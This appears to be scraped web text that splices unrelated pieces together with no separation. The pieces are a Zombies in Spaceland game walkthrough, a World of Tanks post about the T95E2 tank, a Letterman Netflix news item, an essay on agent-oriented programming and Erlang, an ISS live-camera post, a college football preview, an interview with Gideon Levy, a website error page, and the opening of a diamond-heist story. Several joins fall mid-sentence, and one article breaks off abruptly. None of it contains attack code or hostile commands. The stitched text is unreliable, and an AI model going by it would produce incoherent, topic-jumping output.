Description: Despite her stereotypical valley girl looks from the 1980s, Sally means to show there’s more than air inside this head of hers – no matter how many zombies she has to gag with an armor-plated spoon.
Notable Features: Something about taking two at once...., expert spoon gagger, likes shopping
Actor: Sasheer Zamata
Andre
Role: "The Rapper"
Description: With hip-hop flair and packed with wicked rhymes, he is more than ready to take down some zombies.
Notable Features: Being MC Bust Yo' Ass, dropping the mic, doesn't like teddy bears, a fetish for bumper cars and hitting people with them.
Actor: Jay Pharoah
Lore
Zombies In Spaceland is not Willard Wyler's only film. Wyler has many other previous films he's directed such as:
Ciphers
There are 2 known Ciphers in Zombies In Spaceland.
Cipher #1
Cipher type: Substitution/Unknown Symbol Language
Solved by: Oxin
Cipher image: http://i.imgur.com/mSmwF3F.png
PLAINTEXT
REPRESENTING THE GREAT POWER IN THIS WORLD, EMERGED FROM THE MAGICAL STONES
Cipher #2
Cipher type: Substitution/Unknown Symbol Language (Different Language than Cipher #1)
Solved by: Oxin & Geofractil
Cipher image:???
PLAINTEXT
MEPHISTOPHELES GRANTS YOUR INNERMOST DESIRES DEATH IS MERELY THE BEGINNING NERVE THY MASTER ETERNALLY
Easter Eggs
This is a walkthrough of all of the Easter Eggs in Zombies In Spaceland, ranging from the Main Easter Egg to minor Easter Eggs
Main Easter Egg
To complete the Main Easter Egg ("Sooooul Key") for Zombies In Spaceland, simply follow the steps below exactly!
Alien Grey Battle
Recommended Weapons: Kendall-44, Dischord, Shredder, Face-Melter, Headcutter
The number of Alien Greys that spawn depend on how many players are in your match. There will be 1 Alien in Solo, 2 in 2-Player, 3 in 3-Player, and 4 in 4-Player.
The Alien Grey will teleport around the arena and can shoot you with his laser ball which will slow you down and allow zombies to easily run up and hit you. The Alien Grey can also spawn zombies around you out of the ground.
You must down the Alien by shooting him with powerful weaponry. The Zappers will do the most damage to the Aliens (Especially Pack-A-Punched Zappers in DC/Boss Mode). You are able to tell aproximately how much health the Alien has by the color on his chest. It will go from Green, to Yellow, and then to Red.
Once you have dealt enough damage an the Alien will down with a shield around him (as long as it is on the ground and not on a rooftop) and after the shield is gone a green light coming from him, melee the Alien's backpack and he will get back up. Make sure to back away from the Alien once you melee their backpack or else you will take massive damage.
Repeat the process 2 more times, except on the last downing of the Alien Grey, once they take enough damage they will instantly die instead of having to be melee'd.
If you are in Boss Mode the match will now end as you have defeated the Alien Grey.
After all the Aliens are dead they will drop Alien Fuses that you must place inside the Pack-A-Punch machine.
Pack-A-Punch one of the 4 wonder weapon pistols inside the Alien Fuse Powered Pack-A-Punch (Dischord, Shredder, Face-Melter, or Head-Cutter) for $5000
Get the UFO to hover over the Pack-a-Punch portal and shoot all the power nodes on the Spaceland Ring near spawn with one of the upgraded wonder weapon pistols. A giant laser beam will shoot up from above the Pack-a-Punch portal and destroy the UFO
Once the UFO has been destroyed a piece of the Soul Key will drop in front of the Pack-a-Punch portal. Pick it up and you will have completed the Easter Egg.
Double Pack-A-Punch
Double Pack-a-Punch allows you to upgrade your regular guns a second time for $10000 and Wonder Weapons (Head-Cutter, Face-Melter, Dischord, and Shredder) for $5000
Progress through the Main Easter Egg and kill the Alien(s).
and kill the Alien(s). The Alien(s) will drop an "Alien Fuse" that you must bring to Pack-A-Punch
Place the fuse in the Pack-A-Punch machine and you are now able to Double Pack-a-Punch
Ghosts 'N Skulls Easter Egg
Skull #1
Pop all of the Balloons in the spawn room next to the Up & Atoms dispenser
Skull #2
Find skulls around the map that are on signs above buildings. The order in which you find the skulls spell out GHOST.
Below is a list of the skull locations.
G
On top of the G on the Galaxy Journey sign in Journey to Space
on the Galaxy Journey sign in Journey to Space On the G on the Roller Rampage sign (Bumper Cars)
H
On top of the H in Chromosphere
in Chromosphere On top of the H on the Hyper Slide sign in Cosmic Way
O
On top of the O on the Journey To Space sign in Cosmic Way
on the Journey To Space sign in Cosmic Way On top of the O on the Cosmic Tunes sign in Polar Peaks
S
On top of the S on the Star Misson sign in the Journey into Space
on the Star Misson sign in the Journey into Space On top of the S in Astrocade (The sign above the Alley to Blue Boltz)
T
On top of the T on the Octonian Hunter in the Kepler
on the Octonian Hunter in the Kepler On top of the T in Moonlight Cafe
Skull #3
In the arcade, the Ghosts 'N Skulls machine has 4 numbers located on the bottom (1,9,8,4) which each are coloured differently. Each colour represents a tile on the disco dance floor and the number represents how many kills you have to get while standing on that colour of tile. Below are each:
Green - 1 kill
Blue - 9 kills
Pink - 8 kills
Black - 4 kills
Simply start on the green tile, then go to blue, pink and end on black and get the number of kills required for each. This should give you the 3rd skull on the machine.
Skull #4
This one requires you to play the five arcade games: Cryptid Attack, Rings of Saturn, Bowling for Planets, Zombie Zoom and Black Hole. You simply have to do a specific task in each arcade game as described below.
Cryptid Attack - The skull will randomly appear over one of the bars, simply hit the bar its above.
Rings of Saturn - Play the game, ringing as many baskets as possible. The skull is going to appear randomly. when the skull appears, ring the basket.
Bowling for Planets - The skull will appear in one of the holes, simply throw the ball in the hole to get the skull.
Zombie Zoom - Use the disco trap, then simply pick any of the lanes and pick up the water gun. All you have to do is point the gun at the center and keep shooting. If you miss for even a moment the skull will disappear so accuracy is very important. You will also only get 2 tries before you have to go to the next round.
Black Hole - The skull will appear above one of the holes, simply ring the ball in the hole to get the skull.
Skull #5
After completing the Main Easter Egg and acquiring the Soul Key, equip Shades and look above the portal to Pack-A-Punch. There will be a skull floating above the portal and you must shoot the power nodes on the Spaceland sign ring like you did with the UFO in order to destroy it.
Upon destroying the giant skull you will have the 5th skull appear on the arcade machine.
Skull #6
Have a Brute fire its laser beam at the Ghosts 'N Skulls Arcade machine. Once this is done the 6th skull will appear on the screen and the game will become playable.
The Game
When you hit the button to start the game you will be teleported into a new Ghosts 'N Skulls arena. You must complete 3 rounds of the game using the Ghosts to destroy the Skulls. If too many skulls escape you will fail the game.
Upon completing the game you will be rewarded with all 10 perks.
MW1 Teddy Bears
Around the map there are multiple locations with pictures of Employees of the Month
There can randomly be a Teddy Bear in the place of an employee in one of the locations around the map.
Only 1 Teddy Bear picture is on the map at a time. Each time you shoot one another will spawn. You need to shoot 3 in order to activate the remixed MW1 song.
NOTE: This may not be a complete list of locations.
Opposite to the Shredder weapon build stand
Racin' Stripes room Underground
Inside a barrier Up and Right of the Gator Mouth in the Kepler System
In an employees only office Underground
Inside a barrier outside Bumper Cars near the Karma-45 wall buy
Behind the desk at the entrance to the Triton Roller-coaster in Polar Peaks
In a barrier on the upper floor of the Astrocade
MW2 Teddy Bears
Thank you to /u/7imekeeper and MadKing NL for the locations and pictures!
NOTE: This may not be a complete list of Teddy Bears
Spawn
Cosmic Way
Underground
Journey into Space
Astrocade
Polar Peak
Kepler System
Afterlife Arcade
Play as 'Hoff
Complete the Main Easter Egg ("Sooooul Key") After obtaining the Soul Key you can go into the Start Match screen and input the following buttons in quick succession on your D-Pad Left
Right
Left
Up
Down
IW Zombies Easy Character Code Cheat Sheet
Director's Cut Extras
This is a section detailing all extra content in the Director's Cut edition of Zombies In Spaceland.
Play as Willard Wyler
Obtain all 5 Pieces to the Soul Key, activate Director's Cut and obtain all 5 Talismans, and complete the Mephistopheles Boss Fight. Activate Willard Wyler as a playable character by entering the following button combo on your d-pad. Left
Left
Down
Up
Up
Right
IW Zombies Easy Character Code Cheat Sheet
Outro Cartoon
The final cinematic for Infinite Warfare Zombies is played when you pick up the Spaceland Soul Key when a player in your game is playing as Willard Wyler.
Watch it here
Lobby Music
Obtain all 5 Pieces to the Soul Key, activate Director's Cut. Obtain sunglasses on Scene 1 and make your way to the Rollercoaster. Ride the Rollercoaster with the sunglasses on and once you are going down the steep hill section of the Rollercoaster and the next door opens, shoot the yeti animatronic on the right between the eyes. If done correctly you will have shot the white Talisman mask and unlocked the new Lobby Music.
Doing this will unlock Up 'N Atoms, Racing Stripes, and Slappy Taffy Lobby Music.
Trophies/Achievements
This is a section for detailing how to get all the Zombies In Spaceland trophies/achievements.
Important
Below is a full guide to the Trophies/Achievements for Zombies In Spaceland.
NOTE: The information below was pulled from the PS4 achievement list and was last updated on 13/11/2016 so information on rarity and other details may be slightly inaccurate.
Sticker Collector
Description: In Spaceland, find all the quest items and complete the sticker pack.
How to Unlock: To unlock this trophy/achievement you must find all the items that are in your inventory/sticker pack screen. There is a guide above that provides details on how to aquire all these items and complete the sticker pack.
Rarity: "Ultra-Rare"
Grade: Silver
Sooooul Key
Description: In Spaceland, recover the piece of the Soul Key
How to Unlock: To unlock this trophy/achievement you must complete the Main Easter Egg Quest. There is a detailed guide on how to complete it above.
Rarity: "Ultra-Rare"
Grade: Silver
The Bigger They Are
Description: In Spaceland, defeat 5 Brutes in one game without dying.
How to Unlock: To unlock this trophy/achievement you must simply defeat/kill 5 Brute Zombies. Check out the rest of the guide for tips on how to do so.
Rarity: "Ultra-Rare"
Grade: Bronze
Hoff The Charts!
Description: In Spaceland, unlock David Hasselhoff.
How to Unlock: To unlock this trophy/achievement you must you must complete the Main Easter Egg Quest then complete the "Play As Hoff'" Easter Egg. There is a detailed guide on how to complete it above.
Rarity: "Ultra-Rare"
Grade: Bronze
Rock On!
Description: In Spaceland, craft a Weapon of Rock.
How to Unlock: To unlock this trophy/achievement you must you must obtain any buildable Wonder Weapon. There is a detailed guide on how to complete it above.
Rarity: "Ultra-Rare"
Grade: Bronze
Get Packed
Description: In Spaceland, Pack-a-Punch a weapon.
How to Unlock: To unlock this trophy/achievement you must you must simply Pack-a-Punch any weapon. Check out the Pack-a-Punch section above for tips on how to do so.
Rarity: "Very Rare"
Grade: Bronze
Batteries Not Included
Description: In Spaceland, create an Exquisite Core.
How to Unlock: To unlock this trophy/achievement you must you must complete the X-QUISITE sticker collection. There is a detailed guide on how to complete it above.
Rarity: "Ultra-Rare"
Grade: Bronze
I Love the 80's
Description: In Spaceland, find the MW1 and MW2 songs.
How to Unlock: To unlock this trophy/achievement you must you must complete the MW1 and MW2 Teddy Bear Easter Eggs. There is a detailed guide on how to complete it above.
Rarity: "Ultra-Rare"
Grade: Bronze
Insert Coin
Description: In Spaceland, play every arcade game at least once.
How to Unlock: To unlock this trophy/achievement you must simply play every arcade game at least one time. Check out the rest of the guide for tips on how to do so.
Rarity: "Ultra-Rare"
Grade: Bronze
Brain Dead
Description: In Spaceland, play 30 games and get to scene 10 or higher.
How to Unlock: To unlock this trophy/achievement you must play 30 arcade games within the Astrocade or Afterlife Arcade and get to scene 10 or higher in a match. Rarity: "Ultra-Rare"
Grade: Silver
Tips & Tricks
This is a guide to all the different Tips & Tricks in Zombies In Spaceland, including survival tactics, strategies & more
Strategies
If you would like to contribute a text or video guide/strategy, please message me the guide privately, I'll link it in this post, and you will be credited.
You can find an array of different and unique strategies for all types of gameplay and amount of players for every Zombie map on our Wiki: /r/CODZombies Strategies Wiki
Maximizing Cash & XP
Some very helpful tips for maximizing Cash gain are:
Using the Fate Card Scoped Dollars in early scenes with the M1 Weapon you can buy in spawn. Using Scoped Dollars nets you 300 points per sniper kill and so with headshots, you can obtain 400 points per kill allowing you to get $4000 with just 10 zombie kills.
Purchase the Forge Freeze from the Astrocade for 500 Tickets on an early round and freeze the zombies using as little ammo as possible. This allows you to kill the zombies with 1 hit for many rounds allowing you to rack up a large amount of cash.
Survival
Training is one of the most essential and universal skills that any Zombies map will ever ask of the player. If you aren't familiar with training, It essentially boils down to running in circular movements around an area which means you can control the Zombies position. Learning how to train properly will be a great asset to your games and once you are comfortable, you can get more creative and sophisticated with your training strategies, mainly, you can learn how to train in smaller/tighter areas or begin to cut your trains, run through separated Zombies and train with no weapons/equipment.
Map Features For Survival
Use the map to your advantage! If you do the following things you will have an easier experience when playing Zombies In Spaceland:
Obtain a Wonder Weapon such as the Discord, Shredder, Face-Melter, or Head-Cutter
Use the traps such as the Chromosphere, Escape Velocity, or Disco Trap
,, or Unlock Pack-a-Punch
Unlock elemental cores
Buy perks such as Up & Atoms, Tuff 'Nuff, and Bang Bangs
Use Fate & Fortune cards to give you powerful boosts when you're in need
Up the power of your weapons by leveling them up and adding attachments in your Weapon Kits
Author's Notes
Thanks for taking the time to read this guide! All of the guides I've created and am still creating do take a lot of time, work and effort so I greatly appreciate all of the support I've received! Along with that, I do appreciate all of the feedback and help I get with edits, fixes, and improvements!
Notes
Thanks to all the people who commented or messaged me with the odd fix here and there, I couldn't have perfected the guide without your help!
Thanks to /u/toroyan for creating a detailed list of every target location for the Dischord piece!
Thanks to /u/ZeBraTurtieHD for providing pictures of the SETI-COM pieces and SETI-COM defence areas!
If you want to further improve this guide or report a fix, please message /u/The_Beebat privately.
If you wish to learn more about Infinite Warfare or Zombies In Spaceland, please see the following companion guides which go in depth about other game features, mechanics, Easter Eggs and much more:Development began in September 1954, with many components similar to an experimental prototype, the T96. A total of nine prototypes were manufactured, five of which had the 90-mm gun. Four of the vehicles were planned to have the turret of the T96 tank as well as its 105-mm gun. However, because the turrets of the T96 were not ready at that point, two of the new vehicles received turrets from the mass-produced M48A2 tank, equipped with the M41 rifled gun. These prototypes, designated T95E2, were manufactured from May through July 1957.
The T95E2 should be a very powerful vehicle since the conditions for getting it are recruiting a new player who plays the game long enough to get a tier 10 tank. Most of the time, during the grind to a tier 10, there will be times where the player needs credits or needs to free xp a tank to get it top instead of playing it stock. So, why do I get "rewarded" with this tank for doing something as significant as getting a new, potentially paying player.
The T95E2, at the moment, is one of the least played tanks in the game. According to vbAddict, is the 464th most played tank, out of 490 tanks in the game. It was only played 3970 times out of the 30.87 million tanks recorded playing. Sure, not many people have the tank, but there a few reasons for this.
1.) The tank is not well advertised. Every time I play it, most players ask what the heck is a T95E2. On the other hand, most players do not have any problem identifying other tier 8 premium tanks.
2.) The T95E2 is a very unprofitable tank. According to vbAddict, the average credit making is -9,862.7 credits per battle. Why is this? Firstly, the T95E2 does not have any credit boosters like normal premium tanks have, which is normal for reward vehicles. Another reason for this is very low standard penetration. In fact, the T95E2 has the second-lowest standard round penetration of tier 8 premium tanks, only worse to the T-34-3, and tied with the Type 59, both which are premium tanks that make extra credits per battle. The penetration of 181mm has a hard time going through many tanks, including the IS-3, unless you can hit the very small cupola, or you have a chance to go through the lower plate or pike nose middle when the IS-3 is un-angled, but you will have to hope RNG grants you the extra penetration.
3.) The cons outweigh the pros. The pros of the T95E2, DPM, average accuracy, a quite troll turret, 9 degrees of depression and 400m of base view range, and the crew training aspect, are almost all countered by another statistic. The DPM is countered by the bad penetration, the accuracy is not good enough to reliably hit weak spots at medium ranges, the turret has the massive "tumor spot" that the 59-Patton and M48 Patton both have, and the 400m of base view range and crew training are probably the best reasons to play this tank.
Ways to make the T95E2 viable to play.
1.) Buff the standard shell penetration. The standard shell has 38% less penetration, compared to the 26% difference the M46 KR has. The standard shell penetration could be 192, to be in line with the M46 KR and T25 Pilot's 90mm, which the T95E2 also has.
2.) Buff the mobility. One of the massive downsides to the T95E2 is the lack of both armor and speed. There are two solutions to this problem
A.) Buff the turret of the T95E2 along with the M46 Patton and M48 Patton.
B.) Buff the worst-in-class track traverse, worst-in-class hard and medium ground resistances as well as the horrid soft ground resistance, as well as allow the T95E2 to reach its best-in-class top speed limit of 56 because it takes so long to reach this top speed with an average power-to-weight ratio of 15.17.
3.) Make the tank more profitable. Like stated earlier, the T95E2 averages a loss of 9862.7 credits per battle. The reason for this is a 14,505 tank repair cost*. The tank averages a gross income of just 13,605.2, which isn't enough to even cover the cost of killing itself from full health assuming every shell penetrates and does 240 damage(1593.75).
*Can someone please explain how repair costs work? I seem to always lose between 14,000 and 15,000 credits when I completely die for a repair cost.David Letterman’s new Netflix interview series has been purpose-built to suit his talent in conducting long-form interviews and probing complicated subjects that are of interest to him.
On the heels of Netflix unveiling a deal for a six-episode series, Letterman told Variety that the untitled show came together in a “segmented” way as he began speaking to potential partners about the kind of program he wanted to tackle for the post-“Late Show” chapter of his career. The late-night legend credits the partners at production entity RadicalMedia, his CAA rep Bryan Lourd, and Netflix executives with assembling the basic structure of the show that he hopes to begin shooting in September.
“I got tired of people saying ‘What do you want to do?,’ ” Letterman said. “I did what I wanted to do for 30-plus years. Netflix and the Radical brothers put this show idea together. The thing I like about it is that it fits exactly what I want to do and it’s with people I’m fond of working with. It’s not 10 hours a day, five days a week.”
Letterman said the concept is to enhance lengthy sit-down interviews with field reporting, with or without the subject. He cited President Donald Trump as a person he would like to have on the program.
Related David Letterman to Host Netflix Interview Series
“I’d like to talk to President Trump. I’ve known the guy for 25-30 years,” he said. “I’d like to go back to New York where he was a kid and start there. I’d like to just ask him about the change in him as a man, where did it come from, how did it begin and where is it going.”
Pope Francis is another person on his wish-list. It’s clear that Letterman is looking to focus on weightier subjects and a more diverse range of personalities than those that typically populate late-night TV chat segments.
Letterman said he was encouraged to make the Netflix deal after an enriching experience fronting an episode of National Geographic Channel’s “Years of Living Dangerously” series in which he traveled to India to examine primitive living conditions. He greatly enjoyed the depth of reporting and production resources brought to that episode in an effort to understand the challenges of bringing electrical power to the most impoverished regions.
“I can’t help but learn things,” Letterman said. “That’s very exciting to me.”
Letterman said he already has one interview booked for the Netflix show but he wouldn’t divulge the name. “It’s somebody who means a great deal to me,” he said. “The upbringing of this person is so multi-faceted it makes your head spin.”
The plan for the new series is the polar opposite of the daily production schedule that ruled his professional life for more than three decades. He admitted that it will probably be “very strange” for him to settle into a new routine when production |
? A great deal, in fact. Three popular programming models for parallelism are the actor model in Erlang (J Armstrong, 1996), the continuation-passing style in Cilk (R Blumofe, 1996) and parallel message passing with MPI (W Gropp, 1999). Moreover, mult-agent system implementations can benefit from distributed systems literature e.g. load balancing agents (from (A Zain, 2005)) and automatic recovery of dead agents (from (M Logan, 2010)).
Erlang VM: A industry quality distributed VM for Actors (aka Agents)
Take the Erlang virtual machine as a case study. It can be deployed at large scale, on clusters or wide are networks, and the Erlang runtime system supports the high level programming features e.g. supervision behaviours for fault tolerance. That is to say actors can:
be started dynamically
live short or long lives
communicate with other actors with message passing
be proactive or reactive
be automatically restarted if they fail.
This sounds like a very useful VM for a multi-agent system, right?
An analogy would be to view Jade as Erlang with a formalised communication language for actors. Indeed, Jade agents use Agent Communication Language (ACL) (FIPA ACL, 2002) to cooperate. There exists a FIPA implementation in Erlang called eXAT (A Stefano, 2009), and I would especially encourage the reader to inspect the micro-benchmark Jade vs eXAT language comparison in Figure 3 of (A Stefano, 2009) — spoiler: functional programming is shorter and much cleaner.
Agent programming encourages modularity (as do all good programming models)
I occasionally hear people describe agent-oriented programming as a good way to write modular code. That is, agents should be small and simple, and the intelligence emerges from their cooperative goal seeking. I ask: “who does not write modular code!”. The advantages of treating a software system as modular rather than monolithic are well understood. Modularity allows for the problem to be decomposed into simpler components which are easier to build, maintain and understand. Every sanely design programming language provides mechanisms that enable good developers to write modular programs by composing smaller building blocks.
Implementing the Amazon Web Store with Agents
Take an example of Amazon’s online store. I Imagine there are thousands of simple web services, that take a simple input (e.g. ISBN number), and return a simple output, maybe a record for a book. You might describe the web services as having a goal: wait for an ISBN number, then search through multiple data sources for a book, and return what it has found. Is this a distributed multi-agent system with magical reasoning powers to bewilder and delight its users? That’s not how an Amazon engineer would describe it.
Douse the Agent Lingo
It is not enough to say that a programming language is agent oriented because it encourages modular code. It is not enough to say that it is agent oriented because those units have self-beliefs, live long lives and cooperatively pass messages. It is not an agent framework just because you can deploy it on a cluster or wide area network. A framework is worthy of the “agent” label if for example, its runtime system performs reduction on user code, and orders the execution of units using reasoning techniques (3APL, Jason, DTGolog…).
The other option open to the community is to knowingly use the “agent” tag more liberally. And that is fine. But we must then all accept its ambiguous nature, and carefully scrutinise the reasoning powers of agent systems on a case by case basis.Live streaming video by Ustream
Now, live from space, it’s Earth all the time! A new experiment called the High Definition Earth Viewing (HDEV) was launched on April 18, 2014 in the “trunk” on the SpaceX Dragon spacecraft and has been set up outside the International Space Station. The set of four commercial HD video cameras and is now operational, after being installed on the External Payload Facility of the ESA Columbus module yesterday. The cameras and electronics are enclosed in a pressurized box to provide protection to the equipment from the harsh environment of space.
Above is the UStream video, or you can bookmark the UStream site here, or view this page from Johnson Space Center which also provides a visual tracker of where the ISS is located over Earth.
Please note that the screen will appear black when the ISS is in orbital night — which happens every 90 minutes and lasts about 40 minutes. There also has been some downtime off and on that I’ve noted while watching this morning. This may be due to some initial setup/operation issues, or some occurrences of loss of signal. UPDATE: NASA’s now provided additional info on what’s happening if you’re not seeing beautiful views of Earth at anytime during the live feed: Black Scenes = Night side of the Earth; Gray Scenes = Switching to the next camera, or the communications downlink from the ISS in not available at the moment.
Also, the live video feed from HDEV will occasionally be unavailable due to loss of Ku-band transmission from the International Space Station. If that happens, just check the site again later.
But, having live HD streaming views of Earth is pretty awesome – but it’s also nifty to note that this is part of a student project.
High school students helped design of some of the HDEV components through the High Schools United with NASA to Create Hardware (HUNCH) program. Student teams will also help operate the experiment.
This experiment is completely separate from the UrtheCast commercial cameras on the ISS.
The HDEV does not record video on board the ISS, but all video is transmitted to the ground in real time. See the graphic below that explains how the cameras cycle automatically.
Part of the experiment is to test out the camera and equipment and assess the hardware’s ability to survive and function for long periods in space.
Enjoy!Of course, I get the topic regarding the Florida O as opposed to getting the hard hitting, quick and talented Florida defense. Such is life.
The Ohio State Buckeyes may have a Heisman Trophy quarterback with very dangerous weapons on offense, but they have a defense that hangs up there with the best when it comes to several of the major defensive statistical categories. They come into the game in the top 25 statistically in points/game (10.4), yards/game (273.0), interceptions (22), interceptions for touchdowns (4), rushing yards/carry (3.3) and rushing yards/game (93.5). Plus the Buckeyes have one of the best defensive players in the country in LB James Laurinaitis, who leads his team in tackles (100) and interceptions (5). Just looking at all of this you know it will take a pretty good performance out of the Florida offense in order for the Gators to come out on top in this one.
So what will it take for the Florida Gators offense to win the battle against the Ohio State defense? In the only game in which the Buckeyes surrendered more than 17 points in a game, a 42-39 win against Michigan, the Wolverines were able to establish a nice run game against the Buckeyes by going right at them with RB Mike Hart. In the end Hart tallied 142 yds on 23 rushes, including 3 touchdowns on the ground. This could be evidence, despite the fact that it was not a recurring theme all season for the Buckeyes, that a powerful rushing attack with a talented running back could earn you some success against the Ohio State defense...That is, until you look at the stats from most of their wins this season.
In wins at Texas and against Penn State, two of their bigger wins of the season, it was a lack of any kind of passing game that kept the Longhorns and Nittany Lions out of the game. What makes it so tough as to what the strength of the Buckeyes defense is would be that they won games in different ways this season - meaning that the key for the Florida offense will be to not let either a lack of passing or rushing do them in. In other words, a balanced attack will be needed to give the Florida offense the win.
Can they do it? As a Gator fan I think they can. Why? I'm going to go out on a limb and say because of a young man named Percy Harvin, and the way that he can break open any play at any time - similar to what he did against Arkansas in the SEC championship game and against Florida State the week before that. Percy Harvin has been great the past two games, including the game against FSU in which he only played one half due to injury. Over those two games Harvin had a combined 191 yards rushing on only 10 carries and had touchdown runs of 41 and 67 yards. And that isn't including his threat as a big play receiver. Harvin could be the key to the ignition of the Florida run game, and if they play their cards right can keep the Ohio State defense off-balance and fearing a big play out of the backfield, which with general football knowledge will tell you the passing game may open up a bit. All Harvin needs to do is match his earlier performances, easier said than done, but not impossible...and hope he, along with the other Gator backs, gets help from the Gators O-line enough to control the line of scrimmage and slow the game down.
One thing that will be crucial to Florida's success once they develop any kind of rushing attack with Harvin, DeShawn Wynn and anybody else Meyer would like to get involved, will be to use a combination of a medium range passing game and a couple shots downfield to the speedy receivers. Against Arkansas we saw this executed well, with Leak finding extremely athletic TE Cornelius Ingram and WR Andre Caldwell, along with taking some shots deep to Harvin and perhaps Leak's favorite target, Dallas Baker. With Leak finding a comfort level doing this against Arkansas and having a few weeks to continually work on it, I think that a good gameplan by Urban Meyer (who has been great at getting his teams ready after bye weeks) should equal some success through the air for Chris Leak and the Gators receivers. Leak will just have to watch out throwing near the Buckeyes CB Malcolm Jenkins - an excellent man-to-man defender with 4 picks this season - and towards James Laurinaitis, who had some big picks this season as well, but I think that the depth the Florida QB has to throw to will not create a problem in that department.
Balance. It sounds so simple, as it probably does in the above paragraphs. But it's what it will take for the Gators offense to win the battle against the Ohio State defense. Combining big play-makers and some smart gameplanning by the Florida coaching staff, I feel that the Florida Gators offense will be able to hold up their end of the bargain in beating the Buckeyes on January 8th. They've been doing "just enough" to win games this season (with the help of the D), and I think that the trend will continue.Gideon Levy is preaching in the wilderness. Week after week, the columnist for Haaretz newspaper tells his compatriots what they do not want to hear: that the siege of Gaza and the occupation of the West Bank are immoral and counter-productive; that the continued seizure of Palestinian land and the construction of settlements is a “criminal enterprise” intended to foil any chance for peace.
“What Israeli interest does it serve to put two million people in a cage?” Levy asks. “Tens of thousands of Palestinian children will never forget what Israel has done to them and their parents in this [July 8th-August 26th] war. That is something Israel should have taken into account: another generation of hatred like never before, and very justified hatred.”
Levy is grateful to Amos Schocken, the third-generation owner of Haaretz, for standing by him. Some 2,000 readers cancelled subscriptions because of his July 14th column criticising Israeli air force pilots who bombed Gaza. “They have never seen an enemy plane coming toward them,” Levy wrote. “They never saw the whites of the eyes and the red blood of their victims... They are heroes battling the weakest, most helpless people...”
Israeli leaders portray their war on Hamas as a fight against terrorism. “Any Palestinian terrorist would rather sit in an Apache helicopter or an F16 and fly over Tel Aviv and push a button to bomb civilians,” Levy replies. “Nobody would call it terrorism. Terror is always the weapon of the weak.”
Treason accusation
During the war, Levy was threatened, heckled and spat upon. Haaretz hired bodyguards to protect him. Yariv Levin, the leader of the Likud Yisrael Beiteinu coalition in the Knesset, said he should be tried for treason, which carries the death penalty in time of war.
“Nobody condemned Levin,” Levy says. “That tells you a lot about Israeli democracy.” Israel’s supporters boast that it is “the only democracy in the Middle East”.
“By definition, an occupying state is not a democracy,” Levy says. “Israel was always a full and liberal democracy for its Jewish citizens. It was a partial democracy for its Arab citizens, and a totalitarian tyranny in the West Bank and Gaza. In this war, I started to think it is not even a full democracy for its Jewish citizens; only for those who think like the majority.”
Opinion polls showed that up to 95 per cent of Israelis supported the assault on Gaza. While attention focused on Gaza, the Israel Defence Forces killed 20 adults and three children in the West Bank, mostly during demonstrations against the war in Gaza. Israeli soldiers wounded 2,218 people, 38 per cent of them with live fire.
“In the West Bank, you see the real face of the IDF, the so-called most moral army in the world,” Levy says. “You can’t claim those soldiers’ lives were in danger. You can’t claim there were tunnels and rockets and terrorists. But look how they killed.”
During the first intifada (1987-1993), a Palestinian woman who tried to reach a maternity hospital in East Jerusalem was turned round at three Israeli checkpoints, and gave birth in a car. “It was cold and stormy,” Levy recalls. “She begged the soldiers to take the baby to hospital. They refused. Eventually, she carried the baby, and it died.” The incident marked a turning point for Levy. “I could believe there were bad soldiers at one checkpoint. But three? I realised their inhumanity was not an exception, but deeply rooted policy. Ninety nine per cent of Israelis do not see Palestinians as human beings like themselves.”
Impunity is a huge problem, Levy says. “Soldiers know that nothing will happen to them if they kill a 10-year-old child like a cockroach.”
Israeli officials invariably announce they are investigating. “It’s a joke,” says Levy. “A way of buying time until people forget. Nobody takes it seriously. The army investigates itself? You have to have a sense of humour.”
On a national level, “Golda Meir said that after the Holocaust, Jews have the right to do anything they want,” Levy continues. “The Holocaust makes Israelis think international law doesn’t apply to them, because they are the ultimate victims of history; the only victims.”
Israel killed more than 1,400 Palestinians in Gaza in December 2008-January 2009. “I was sure that Israel would never dare do it again,” Levy says. “That the international community would not let them do it again. But this time, it was even more brutal. Israel feels, rightly, that no one will stop it. They believe the only language Arabs understand is the language of force. It never works.”
Levy believes a “two-state solution” has become impossible, because 700,000 settlers are the most powerful force in Israeli politics. Israel and the West Bank “are already one state with two regimes,” he says. Opponents of a single state for Israelis and Palestinians say Israel would lose its Jewish character. “Where were you all those years when you could have saved the Jewish state by going for a two-state solution?” he asks. “We’ve missed that train. The struggle now should be for equal rights for Palestinians in one state.”
Westerners should support the “Boycott, Divestment and Sanctions” campaign, he argues, “because there won’t be a change from within, because Israel will not be punished for the occupation, because in South Africa it was very effective... It’s the only way to shake Israelis out of their blindness and indifference.”
History of atrocities
When Israel drove more than 700,000 Palestinians from their homes in 1948, “There were many atrocities, some avoidable, some not,” Levy says. “The problem is that 1948 never ended. Israel never changed its attitude towards Palestinian rights. Therefore, 1948 is today; 1948 is the confiscation of 4,000 dunums [988 acres] on August 31th; 1948 is Gaza.”
Levy’s parents emigrated from the Sudetenland and Czechoslovakia in 1939. He has lived his entire life in Tel Aviv. “I am very attached to this place. I struggle to make it more just, unsuccessfully, but the struggle has some meaning for me.”Geoff Chappell, Software Analyst
You have come to a website that has grown out of an academic interest in studying what software actually does. There are nearly 2,000 pages here and I do hope you will find at least something that satisfies.
Unfortunately, the URL that got you here is no longer supported. Either your browser has not run the client-side scripts that would automatically provide for backwards compatibility or those scripts have not worked properly. I certainly do not require that you run any scripts to browse this website, but without them you will have to compose a new URL manually if you want to proceed.
In the URL that got you here, while it’s still in your browser’s address bar, look past the domain name and forward slash. If the next characters are “viewer.htm?doc=” (without the quotes), then just delete those characters and refresh the page. For instance, change
to
If there is no “viewer.htm?doc=” in the URL, then it would seem that someone actually did intend for you to find this error page. Please start at the home page instead.The plane slowed and leveled out about a mile aboveground. Up ahead, the Viennese castle glowed like a fairy tale palace. When the pilot gave the thumbs-up, Gerald Blanchard looked down, checked his parachute straps, and jumped into the darkness. He plummeted for a second, then pulled his cord, slowing to a nice descent toward the tiled roof. It was early June 1998, and the evening wind was warm. If it kept cooperating, Blanchard would touch down directly above the room that held the Koechert Diamond Pearl. He steered his parachute toward his target.
A couple of days earlier, Blanchard had appeared to be just another twentysomething on vacation with his wife and her wealthy father. The three of them were taking a six-month grand European tour: London, Rome, Barcelona, the French Riviera, Vienna. When they stopped at the Schloss Schönbrunn, the Austrian equivalent of Versailles, his father-in-law's VIP status granted them a special preview peek at a highly prized piece from a private collection. And there it was: In a cavernous room, in an alarmed case, behind bulletproof glass, on a weight-sensitive pedestal — a delicate but dazzling 10-pointed star of diamonds fanned around one monstrous pearl. Five seconds after laying eyes on it, Blanchard knew he would try to take it.
